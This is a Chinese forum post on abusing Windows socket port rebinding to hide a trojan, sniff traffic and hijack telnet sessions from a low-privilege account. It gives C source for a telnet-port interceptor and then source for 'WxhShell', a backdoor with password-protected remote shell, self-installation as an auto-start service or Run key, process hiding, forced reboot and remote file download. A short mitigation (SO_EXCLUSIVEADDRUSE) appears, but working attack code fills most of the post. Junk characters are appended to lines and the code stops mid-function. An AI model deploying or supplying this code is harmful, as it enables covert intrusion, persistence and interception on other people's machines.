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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: O.}{s;  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~i(X{ ^,3  
~qs 97'  
  saddr.sin_family = AF_INET; Po% V%~  
M*|x,K=U  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); WJ8i,7  
'RXh E  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); phd,Jg[  
5EM(3eY^q  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 s~,Ypo?  
Nw8lg*t"  
  这意味着什么?意味着可以进行如下的攻击: =j6f/8   
F8f@^LVM/  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @a+1Ri`)  
+g%kr~w=  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) I6~.sTl  
= oQ-I  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 J&wrBVv1uk  
0KE+RzrB  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  {U>B\D  
Y$shn]~  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 V|)3l7IC<  
(i1 ]+.  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ,F]Y,"x:  
jUYb8:B  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 # 2s$dI  
}[k~JXt  
  #include voEg[Gg4%I  
  #include h#a,<B|  
  #include Jc95Ki1X  
  #include    ;kDz9Va  
  DWORD WINAPI ClientThread(LPVOID lpParam);   @h$cHZ  
  int main() %N04k8z  
  { -)PQ&[  
  WORD wVersionRequested; Hz `aj  
  DWORD ret; 1Jjay#  
  WSADATA wsaData; E)7vuWO O  
  BOOL val; f%;8]a9  
  SOCKADDR_IN saddr; unKi)v1  
  SOCKADDR_IN scaddr; u,I_p[`E  
  int err; 0"#'Z>"  
  SOCKET s; NJRk##Z  
  SOCKET sc; _SY4Q s`d  
  int caddsize; +iY.YV  
  HANDLE mt; |wZcVct~  
  DWORD tid;   Kf/1;:^  
  wVersionRequested = MAKEWORD( 2, 2 ); FWNWOU  
  err = WSAStartup( wVersionRequested, &wsaData ); 07`hQn)Gc  
  if ( err != 0 ) { &Ba` 3V\M  
  printf("error!WSAStartup failed!\n"); $hXhq*5|c  
  return -1; PRg^E4  
  } @@M 2s(  
  saddr.sin_family = AF_INET; rOHU)2  
   7.`Fe g.  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 kr[p4X4  
.5 Sw  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); tNj-~r  
  saddr.sin_port = htons(23); yY+)IU.  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `83s97Sa  
  { xM"k qRZ  
  printf("error!socket failed!\n"); pUi|&F K">  
  return -1; m^I+>Bp/:  
  } F%M4i`Vh  
  val = TRUE; )RG@D\t,  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 0]p! Bscaf  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) p=sL KnLmZ  
  { +uZ,}J  
  printf("error!setsockopt failed!\n"); Sc#B -4m  
  return -1; kK\G+{z?  
  } QQ;<L"VW  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; E{'{fo!#)  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %&w 8E[  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 [$:M/5y9  
w/ &)mm{  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) dNK Q&TC  
  { Y>W$n9d&G2  
  ret=GetLastError(); o}O"  
  printf("error!bind failed!\n"); Jas=D  
  return -1; P@lDhzd  
  } u_ou,RF  
  listen(s,2); )IQ5Qu  
  while(1) bS7rG$n [  
  { .LMOmc=(  
  caddsize = sizeof(scaddr); B /q/6Pp  
  //接受连接请求 IdTa tE|^  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); HGIPz{/5U  
  if(sc!=INVALID_SOCKET) {S[+hUl  
  { !D#wSeJ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); q=Xda0c  
  if(mt==NULL) 4 JC*c  
  { PW7{,1te,  
  printf("Thread Creat Failed!\n"); RI.6.f1dy  
  break; }(tuBJ9  
  } nwSujD  
  } \A "_|Yg  
  CloseHandle(mt); "  ,k(*  
  } YvA@I|..~  
  closesocket(s); k%2woHSu&  
  WSACleanup(); l}w9c`f  
  return 0; / ,Unp1D  
  }   !A_<(M<  
  DWORD WINAPI ClientThread(LPVOID lpParam) Q5Yy \M  
  { v|~&I%S7  
  SOCKET ss = (SOCKET)lpParam; [&H$Su}$0  
  SOCKET sc; rFn%e  
  unsigned char buf[4096]; Z8mSm[w  
  SOCKADDR_IN saddr; "MS}@NLUW  
  long num; y-C=_v_X  
  DWORD val; o9GtS$ O\  
  DWORD ret; xAlyik  
  //如果是隐藏端口应用的话,可以在此处加一些判断 cl2+,!:  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   TgC8EcLr  
  saddr.sin_family = AF_INET; 'DLgOUvh  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1");  j`H5S  
  saddr.sin_port = htons(23); e *9c33  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *49({TD6`  
  { [k<"@[8)  
  printf("error!socket failed!\n"); V/N:Of:\R  
  return -1; .0ov>4,R  
  } ={'*C7K)oK  
  val = 100; GTYCNi66  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9c pjO  
  { R k'5L  
  ret = GetLastError(); VT@,RlB0  
  return -1; WxE^S ??|  
  } ui>0?O*G  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (g(.gN]  
  { [v0[,K  
  ret = GetLastError(); 6>  L)  
  return -1; ~%gO+qD  
  } SK][UxoHm  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Wb)>APL  
  { c qWX*&2_  
  printf("error!socket connect failed!\n"); S<Rl?El<=  
  closesocket(sc); mHj3ItXUu  
  closesocket(ss); 6 (M^`&fl  
  return -1;  <xn96|$  
  } 8,VX%CS#q  
  while(1) xJcM1>cT>  
  { &Hl*Eg f  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 yW@0Q:  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 5Yxs_t4  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 O4c[,Uq8~  
  num = recv(ss,buf,4096,0); 85{2TXQ^%=  
  if(num>0) .@5Ro D[o  
  send(sc,buf,num,0); \+9~\eeXb  
  else if(num==0) |M;tAG$,"y  
  break; 6x]x>:8  
  num = recv(sc,buf,4096,0); 76'@}wNnw  
  if(num>0) V?[dg^*0  
  send(ss,buf,num,0); r:.ydr@  
  else if(num==0) mK Ta.  
  break; PQ0l<]Y  
  } <]w(1{q(  
  closesocket(ss); Sh@en\m=#S  
  closesocket(sc); ]'"aVGqa.  
  return 0 ; 5u:{lcC.X  
  } 4Y'Kjx  
( M$2CL  
6Wn"h|S  
========================================================== !EwL"4pPw  
:Qc[>:N  
下边附上一个代码,,WXhSHELL (9!/bX<  
%B#(d)T*-  
========================================================== <i1.W !%  
7RpAsLH=  
#include "stdafx.h" 'B"A*!" b  
tJ qd  
#include <stdio.h> AiDV4lHr  
#include <string.h> J$+K't5BZ  
#include <windows.h> U??T>  
#include <winsock2.h> )NjxKSiU@  
#include <winsvc.h> FS+v YqwK  
#include <urlmon.h> ",O}{z  
p?Rq  
#pragma comment (lib, "Ws2_32.lib") 6he (v  
#pragma comment (lib, "urlmon.lib") H?H(=  
bP+b~!3  
#define MAX_USER   100 // 最大客户端连接数 L_~vPp  
#define BUF_SOCK   200 // sock buffer  ?|$IZ9  
#define KEY_BUFF   255 // 输入 buffer `i"7; _HoV  
n){F FM  
#define REBOOT     0   // 重启 bMCy=5  
#define SHUTDOWN   1   // 关机 `@tn Eg  
3;E,B7,mQ  
#define DEF_PORT   5000 // 监听端口 VV%Q "0 \  
8am/5o  
#define REG_LEN     16   // 注册表键长度 =rL^^MZp  
#define SVC_LEN     80   // NT服务名长度 { K,KIj"  
P;8D|u^\*  
// 从dll定义API /4xp?Lo:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); v:xfGA nP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0hCrEM!8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xRiWg/Z~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); tqMOh R  
0*4h}t9j  
// wxhshell配置信息 um5n3=K  
struct WSCFG { WU:r:m+ >  
  int ws_port;         // 监听端口 VNggDKS~K  
  char ws_passstr[REG_LEN]; // 口令 13f@Ox$  
  int ws_autoins;       // 安装标记, 1=yes 0=no _?m%i]~o  
  char ws_regname[REG_LEN]; // 注册表键名 7[/1uI9U8K  
  char ws_svcname[REG_LEN]; // 服务名 '*d);{D8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 CHGV1X,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :}n\ r/i  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 97L|IZ s)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #ouE, <  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Pkq?tm$#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,x]xtg?  
nyRQ/.3  
}; 2cu?2_,  
3B^`xnV  
// default Wxhshell configuration M[}aQWT$v  
struct WSCFG wscfg={DEF_PORT, ^DaP^<V  
    "xuhuanlingzhe", %9HL "  
    1, <q<kqy5s-R  
    "Wxhshell", ,bU 8S\8  
    "Wxhshell", p2)563#RS  
            "WxhShell Service", pIbm)-  
    "Wrsky Windows CmdShell Service", &}."sGK  
    "Please Input Your Password: ", F-&=N {+  
  1, muZ6}&4  
  "http://www.wrsky.com/wxhshell.exe", 7wA.:$  
  "Wxhshell.exe" 5;4bZ3e,0  
    }; O)EA2`)E  
Ug~ ]!L  
// 消息定义模块 ,JVWn>s  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; AzlZe\V?)~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; um}%<Cy[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %.nZ@';.  
char *msg_ws_ext="\n\rExit."; P)9$}9i  
char *msg_ws_end="\n\rQuit."; gOSFvH8FU  
char *msg_ws_boot="\n\rReboot..."; 2*5]6B-(  
char *msg_ws_poff="\n\rShutdown..."; KJQW))%e  
char *msg_ws_down="\n\rSave to "; V W2+ Bs}  
R4 x!b`:i  
char *msg_ws_err="\n\rErr!"; !h[xeLlU  
char *msg_ws_ok="\n\rOK!"; nS$_VJ]~  
O dWZYWj  
char ExeFile[MAX_PATH]; {OBV+}#  
int nUser = 0; ']'V?@H]4  
HANDLE handles[MAX_USER]; ]Lz:oV^%  
int OsIsNt; 6.(L8.jv  
)B1gX>J\8  
SERVICE_STATUS       serviceStatus; %+F%C=GqI  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; or)v:4PXW  
^v+3qm@,  
// 函数声明 s/cclFji]  
int Install(void); =IC cN|  
int Uninstall(void); ynQ+yW74Z  
int DownloadFile(char *sURL, SOCKET wsh); 83[gV@LW0m  
int Boot(int flag); $bd tiD  
void HideProc(void); a|5^4 J \%  
int GetOsVer(void); 3Gyw^_{J  
int Wxhshell(SOCKET wsl); %k8 H'w\  
void TalkWithClient(void *cs); ,%!E-gr  
int CmdShell(SOCKET sock); L';b908r2  
int StartFromService(void); {<J(*K*\Jo  
int StartWxhshell(LPSTR lpCmdLine); g)/#gyT4Y  
AJWV#J%nB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); QY}1i .f  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :u4q.^&!e  
a"Q>K7K  
// 数据结构和表定义 )u67=0s2i+  
SERVICE_TABLE_ENTRY DispatchTable[] = $(A LxC  
{ mQiVTIP3[O  
{wscfg.ws_svcname, NTServiceMain}, ]?"1FSu-8r  
{NULL, NULL} C A 8N  
}; S9@2-Oc  
6vL+qOdx  
// 自我安装 CG397Y^  
int Install(void) <^v-y)%N:A  
{ Hp}dm93T  
  char svExeFile[MAX_PATH]; T^F9A55y  
  HKEY key; LF?MO1!M  
  strcpy(svExeFile,ExeFile); {S*:pG:+q  
Q}(D^rGP3  
// 如果是win9x系统,修改注册表设为自启动 ;"T,3JQPn6  
if(!OsIsNt) { 7!kbe2/]'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <JkmJ/X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }u9wD08x  
  RegCloseKey(key); 8V f]K}d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fHc/5uYW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;mtv  
  RegCloseKey(key); rfwX:R6,g  
  return 0; k'b'Ay(<  
    } j7u\.xu9  
  } hxX-iQya  
} g71|t7Q  
else { 16Gp nb  
fk!P#  
// 如果是NT以上系统,安装为系统服务 h^aUVuL/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); '|~L9t  
if (schSCManager!=0) YVT\@+C'  
{ *s[bq;$  
  SC_HANDLE schService = CreateService 3^x C=++  
  ( b xFDB^  
  schSCManager, PZB_6!}2[F  
  wscfg.ws_svcname, "(cMCBVYdA  
  wscfg.ws_svcdisp, iM'rl0  
  SERVICE_ALL_ACCESS, V 'e _gH  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , eJ2$DgB}t  
  SERVICE_AUTO_START, Pko2fJt1  
  SERVICE_ERROR_NORMAL, Sn~h[s_(  
  svExeFile, sY*iRq  
  NULL, UP?]5x>  
  NULL, Q/u1$&1  
  NULL, Bq 9 Eu1  
  NULL, 8*\PWl  
  NULL XaH%i~}3  
  ); ?VaAVxd29  
  if (schService!=0) 8*[Q{:'.  
  { +w(>UBy-  
  CloseServiceHandle(schService); DuzJQ Sv  
  CloseServiceHandle(schSCManager); FXd><#U  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i<>zN^zn  
  strcat(svExeFile,wscfg.ws_svcname); KH_~DZU*5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~Q36lR  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C;BC@OE  
  RegCloseKey(key); T 7EkRcb  
  return 0; stcbM  
    } d|Q_Z@;JF  
  } |',$5!:0O  
  CloseServiceHandle(schSCManager); =Ti[Q5SZ  
} R[Y{pT,AY  
} L-V+`![{  
cq-UVk"Gl  
return 1; :^92B?q  
} HAOl&\)7"_  
v==]v2 -  
// 自我卸载 <-avC/M$d  
int Uninstall(void) /ltGSl  
{ G j9WUv[P  
  HKEY key; N sNk  
yL.Z{wd  
if(!OsIsNt) { | bWvQdN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { aW.[3M;?v  
  RegDeleteValue(key,wscfg.ws_regname); r)Dln5F  
  RegCloseKey(key); ImZ!8#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NL7CeHs5  
  RegDeleteValue(key,wscfg.ws_regname); DuV@^qSbG.  
  RegCloseKey(key); p#DJow  
  return 0; ,4`=gKn  
  } oBqWIXM  
} I%qZMoS1h  
} c^a D r  
else { |y}iOI  
XzV:q!e-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); p.50BcDg  
if (schSCManager!=0) ,ag:w<km  
{ CpG]g>]L&[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;kv/(veQ1<  
  if (schService!=0) [ _N w5_  
  { gdKn!; ,w#  
  if(DeleteService(schService)!=0) { [Kc"L+H\  
  CloseServiceHandle(schService); QW[ gDc  
  CloseServiceHandle(schSCManager); I&lb5'6D  
  return 0; b!hs|emo;  
  } {6,  l#z  
  CloseServiceHandle(schService); G:k]tZ*`  
  } ugT;NB  
  CloseServiceHandle(schSCManager); M,V~oc5  
} 5S&'O4yz^  
} D Xjw"^x  
ytkV"^1^  
return 1; ~E J+<[/  
} We51s^(  
qS.TVNZ  
// 从指定url下载文件 34e> R?J  
int DownloadFile(char *sURL, SOCKET wsh) E!_mXjlPc  
{ g(`m#&P>G  
  HRESULT hr; Q^c)T>OAI  
char seps[]= "/"; LFHzd@Y7"  
char *token; R_ |Sg  
char *file; ~0 5p+F)  
char myURL[MAX_PATH]; TcjTF|q>  
char myFILE[MAX_PATH]; piv/QP-X  
`$hna{e^n  
strcpy(myURL,sURL); %n7Y5|Uh  
  token=strtok(myURL,seps); 3LK]VuZE  
  while(token!=NULL) ^xZo .P  
  { y8k*{1MuO  
    file=token; rr;p;  
  token=strtok(NULL,seps); VGDds  
  } %hnv go:^g  
gp`H>Sn.|  
GetCurrentDirectory(MAX_PATH,myFILE); m.|__L  
strcat(myFILE, "\\"); md.#n  
strcat(myFILE, file); @s[Vtw%f  
  send(wsh,myFILE,strlen(myFILE),0); #Y9'n0 AL  
send(wsh,"...",3,0); qT}AY.O%^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); g82_KUkB  
  if(hr==S_OK) CR KuN  
return 0; w!8xZu  
else FK~FC:K  
return 1; J#OiY  
Vy6A]U\%  
} <.6bni )  
6&Al9+$  
// 系统电源模块 wAn}ic".b  
int Boot(int flag) WhU-^`[*  
{ ZBX,4kxK7  
  HANDLE hToken; YN<:k Wu  
  TOKEN_PRIVILEGES tkp; *pMu,?uE  
<XAW-m9SC  
  if(OsIsNt) { W{6%Hh p  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); djGzJLH  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |5(< Vk=  
    tkp.PrivilegeCount = 1; 'tRaF  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Kq. MmR!gl  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mxxuD"5  
if(flag==REBOOT) { VUD ?iv7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) H[S 4o,  
  return 0; _ U%fD|t  
} :j=/>d],%  
else { /`)>W :  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'i5V6yB  
  return 0; @j vF[wi;  
} !~Am1\02  
  } qwz_.=5E6  
  else { _t+.I9kQ  
if(flag==REBOOT) { "h>B`S  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `VB]4i}u  
  return 0; EoOB0zo}Y+  
} f-M9OI  
else { D. _*p  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) iCK p"(kf  
  return 0; >AsrPU[  
} Z[&7NJo(  
}  ,m^@S  
w)u6J ,  
return 1; D-GIrw{>5  
} `z?6.+C  
y66V&#`,e0  
// win9x进程隐藏模块 F_ Cp,  
void HideProc(void) 5*#!w1X  
{ E$w2S Q  
5/m^9@A  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); k&kx%skz  
  if ( hKernel != NULL ) uk\-"dS  
  { k OycS  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :vqfWK6mv  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); mV58&SZT  
    FreeLibrary(hKernel); 9)Jc'd|  
  } HS% P  
ML|O2e  
return; [kjmEMF9i  
} SW^/\cJ^  
5NT?A,r"  
// 获取操作系统版本 @\_l%/z{  
int GetOsVer(void) 2d`:lk%\  
{ GG KD8'j]  
  OSVERSIONINFO winfo; pjh o#yP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Tn'_{@E;  
  GetVersionEx(&winfo); >>'t7 U##  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Lh"!Z  
  return 1; N0:gY]o%  
  else B< `'h  
  return 0; e{8j(` (;#  
} 9w%|Nk>=>  
X9d~r_2&m<  
// 客户端句柄模块 /61P`1y(J  
int Wxhshell(SOCKET wsl) JDIQpO"Qji  
{ &$!'Cw`,  
  SOCKET wsh; J#pl7q)^w  
  struct sockaddr_in client; "gR W91 T  
  DWORD myID; 3*DwXH+  
w=r3QKm#K  
  while(nUser<MAX_USER) lQnl6j  
{ cjd Z.jR2  
  int nSize=sizeof(client); ;g0p`wV  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); DKcg  
  if(wsh==INVALID_SOCKET) return 1; \8I>^4t'/  
C9`J6Uu  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @y#QHJ.j  
if(handles[nUser]==0) &?-LL{W{  
  closesocket(wsh); 7xmyjy%c  
else :n4X>YL)  
  nUser++; ?-"%%#  
  } n$ri:~s  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (($"XOU  
-]uN16\ F  
  return 0; ?&H1C4   
} T vEN0RV2  
Zv`j+b  
// 关闭 socket +&w=*IAKZ  
void CloseIt(SOCKET wsh) q $Hg\ {c  
{ e2SU)Tr%b  
closesocket(wsh); |+^-b}0  
nUser--; fCA/   
ExitThread(0); xKKR'v:o\  
} T%%+v#+  
E>BP b  
// 客户端请求句柄 f-V8/  
void TalkWithClient(void *cs) D~;hIt*  
{ $7#N@7  
Bhy:" r%#  
  SOCKET wsh=(SOCKET)cs; $9}z^sGIM  
  char pwd[SVC_LEN]; P&ig.Og*  
  char cmd[KEY_BUFF]; ?H c~ 3  
char chr[1]; d" "GG/  
int i,j; IQZBH2R  
]aqHk  
  while (nUser < MAX_USER) { ; FO1b*  
k{fCU%  
if(wscfg.ws_passstr) { z)Y<@2V*C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &IQp&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $uA?c& e  
  //ZeroMemory(pwd,KEY_BUFF); N@M(Iw  
      i=0; sGf\!w  
  while(i<SVC_LEN) { JY\8^}'9  
P(_wT:8C?  
  // 设置超时 FN#6pM']|  
  fd_set FdRead; x4PH-f-7  
  struct timeval TimeOut; n\nC.|_G@  
  FD_ZERO(&FdRead); "%c\i-&t  
  FD_SET(wsh,&FdRead); k~(j   
  TimeOut.tv_sec=8; d2Z kchf  
  TimeOut.tv_usec=0; Y4%Bx8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +DWmutL  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B%v2)+?@  
X(-e-:B4;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .b4_O CGg  
  pwd=chr[0]; 9.KOrg5}L  
  if(chr[0]==0xd || chr[0]==0xa) { :qV}v2  
  pwd=0; 1_Um6vS#  
  break; TJ:B_F*bSk  
  } x*H4o{o0  
  i++; \haJe~  
    } $c-h'o  
&S}i)Nu6J  
  // 如果是非法用户,关闭 socket TzXivE@mm  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [<)/ c>Y  
} )`RF2Y-A7  
cxTP4\T\E  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rz]0i@ehv'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x?J- {6k  
't$(Ruw  
while(1) { IT,TSs/Y  
r h*Pl]'3z  
  ZeroMemory(cmd,KEY_BUFF); Md \yXp  
ZQT14.$L  
      // 自动支持客户端 telnet标准   m6a q_u{W  
  j=0; +\FTR  
  while(j<KEY_BUFF) { 5!ll #/ {`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /B$"fxFf  
  cmd[j]=chr[0]; D6iHkDTg  
  if(chr[0]==0xa || chr[0]==0xd) { ti:qOSIDTA  
  cmd[j]=0; 7$(>Z^ Em  
  break; a!,q\p8<t0  
  } ~q]+\qty4  
  j++; mPNT*pAO  
    } f>)k<-<yj  
r\y~ :  
  // 下载文件 oYNP,8r^  
  if(strstr(cmd,"http://")) { :t\pi. uWt  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); K~A$>0c  
  if(DownloadFile(cmd,wsh)) "5mdq-h(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); c9\jELO  
  else zcGeXX}V?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k zhek >  
  } x+zz:^yHYf  
  else { .*u, !1u  
nXDU8|"  
    switch(cmd[0]) { <|~8Ezd  
  @[0zZX2EE  
  // 帮助 =`5Xx(  
  case '?': { rn l~i  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g{@q  
    break; 6(4FC?Y7  
  } +'abAST t  
  // 安装 :\x)`lu  
  case 'i': { ] (3e +JC  
    if(Install()) +tL]qO BP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8\m_.e  
    else d `LBFH,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]KfjZ!Qh  
    break; etdI:N*x  
    } UQ#"^`=R<  
  // 卸载 ql5NSQ>{  
  case 'r': { sE$!MQb  
    if(Uninstall()) sQrP,:=r#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D 8^wR{-;J  
    else G>{Bij44  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WJ$D]7  
    break; * B!uYP  
    } {J2*6_  
  // 显示 wxhshell 所在路径 j  )6A  
  case 'p': { +E7s[9/r  
    char svExeFile[MAX_PATH]; -QL_a8NL  
    strcpy(svExeFile,"\n\r"); {D1"bDZ  
      strcat(svExeFile,ExeFile);  4l+"J:,  
        send(wsh,svExeFile,strlen(svExeFile),0); `_C4L=q"  
    break; m72r6Yq2@  
    } Jg=[!j0(  
  // 重启 y^:!]-+  
  case 'b': { Al="ss&2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^>02,X mk  
    if(Boot(REBOOT)) z{U2K '  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $pK2H0c  
    else { g+oSbC  
    closesocket(wsh); 4S>A}rWz  
    ExitThread(0); _p/ _t76s  
    } V|3}~(5=  
    break; !6hUTjhW7z  
    } O,"4HZG  
  // 关机 ( /{Wu:e  
  case 'd': { hER]%)#r  
